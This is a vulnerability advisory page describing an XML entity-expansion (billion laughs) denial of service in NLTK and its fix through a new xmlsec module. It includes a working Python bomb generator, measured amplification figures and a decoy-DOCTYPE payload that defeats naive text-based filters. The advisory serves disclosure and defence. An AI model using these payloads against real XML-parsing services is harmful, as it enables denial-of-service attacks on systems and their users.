NLTK: Entity-expansion DoS (billion laughs) via remaining raw ElementTree parses
Several XML parsing sites in NLTK still used xml.etree.ElementTree directly, which honours <!ENTITY> declarations in a document's internal DTD subset. A crafted document a few hundred bytes long can expand to megabytes in memory (each nesting level multiplies by ten), a denial-of-service.
Affected call sites (<= 3.10.2):
nltk.chunk.named_entity.load_ace_file— parses ACE annotation XMLnltk.internals.ElementWrapper— converts any given string to an Elementnltk.downloader—Package.fromxml,Collection.fromxml,_find_collections,_find_packages
libexpat 2.6.0 added an input-amplification cap, but it only engages above an activation threshold (~8 MiB output) and depends on whichever libexpat the interpreter links; builds against older libexpat have no cap at all. External entities are not resolved by ElementTree, so this is a memory-amplification DoS (CWE-776), not XXE/file disclosure.
This completes the earlier defusedxml adoption that these sites were missed by. Fix routes all of them through a new nltk.xmlsec module that refuses entity declarations, preferring defusedxml and falling back to a standard-library xml.parsers.expat pre-scan when defusedxml is absent.
Attack demonstration
Reproducible PoC against a real affected entry point (nltk.internals.ElementWrapper). Every number below is captured output, not illustrative.
1. The amplification (vulnerable path: raw xml.etree.ElementTree)
A payload of a few hundred bytes expands to megabytes in memory. Each nesting level multiplies output by 10 while adding ~56 bytes of input:
| levels | input bytes | expanded bytes | factor |
|---|---|---|---|
| 3 | 218 | 10,000 | x45 |
| 4 | 274 | 100,000 | x364 |
| 5 | 330 | 1,000,000 | x3,030 |
| 6 | 386 | (libexpat 2.7.1 cap trips) | - |
The level-6 cap is libexpat's, not NLTK's: it only engages above an ~8 MiB activation threshold, and older libexpat builds (still shipped with many 3.10/3.11 interpreters) have no cap at all. Under the threshold — up to ~1 MB per parse here — expansion always succeeds.
import xml.etree.ElementTree as ET
def bomb(levels):
d = "\n".join(f'<!ENTITY e{i} "{("&e%d;"%(i-1))*10}">' for i in range(1, levels+1))
return f'<!DOCTYPE d [<!ENTITY e0 "AAAAAAAAAA">{d}]><d>&e{levels};</d>'
ET.fromstring(bomb(5)) # -> element whose .text is 1,000,000 chars
2. The patched entry point rejects it
>>> from nltk.internals import ElementWrapper
>>> ElementWrapper(bomb(5))
EntitiesForbidden: EntitiesForbidden(name='e0', ...)
3. Why a text-based screen is not enough
An entity declaration can hide behind a decoy <!DOCTYPE> in a prolog comment. Raw ElementTree still processes the real declaration and expands; a guard that walks the DOCTYPE text is fooled. The shipped guard re-parses with expat, so it is not:
evil = '<!-- <!DOCTYPE x [ ] > --><!DOCTYPE d [<!ENTITY a "PPPP...">]><d>&a;</d>'
raw ElementTree -> EXPANDS ('PPPPPPPPPPPP...', 40 chars)
nltk.xmlsec -> REJECTED (EntitiesForbidden)
An earlier draft of the fallback that walked the text was bypassed by this and 4 similar payloads (decoy DOCTYPE in a PI, stray ] inside a PI in the internal subset). All five are now regression tests.
4. Both back ends block it
nltk.xmlsec prefers defusedxml and falls back to a stdlib xml.parsers.expat pre-scan. Same payloads, defusedxml hidden to force the fallback:
stdlib fallback | billion-laughs -> REJECTED (EntitiesForbidden)
stdlib fallback | comment-decoy differential -> REJECTED (EntitiesForbidden)
Environment: python 3.13.7, libexpat 2.7.1. Confirmed identical amplification on python 3.10 (NLTK's floor).
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | nltk | < 3.10.3 | 3.10.3 |
References
- https://www.vulncheck.com/advisories/nltk-before-entity-expansion-dos-via-elementtree
- https://github.com/nltk/nltk/security/advisories/GHSA-97qj-x29f-37w7
- https://nvd.nist.gov/vuln/detail/CVE-2026-78681
- https://github.com/nltk/nltk/commit/e91789c9a043296ad04912ce171c22776d45963b
- https://github.com/nltk/nltk
- https://github.com/nltk/nltk/releases/tag/v3.10.3
- https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3748.yaml
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N- Weakness (CWE)
CWE-776- Platform
- Python (PyPI)
- Package
nltk- Disclosed
- 25.08.2026
- Updated
- 11.10.2026 15:17
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-3748 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-97qj-x29f-37w7 - CC BY 4.0
Vulnerability history: nltk
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 52
- First → latest
- 08.2019 09.2026
- Without a fix
- 6
- Exploited in attacks
- 0
Severity breakdown
- Critical 5
- High 32
- Medium 13
- Low 2
Disclosures per year
- 2019: 1
- 2020: 0
- 2021: 2
- 2022: 1
- 2023: 0
- 2024: 1
- 2025: 0
- 2026: 47
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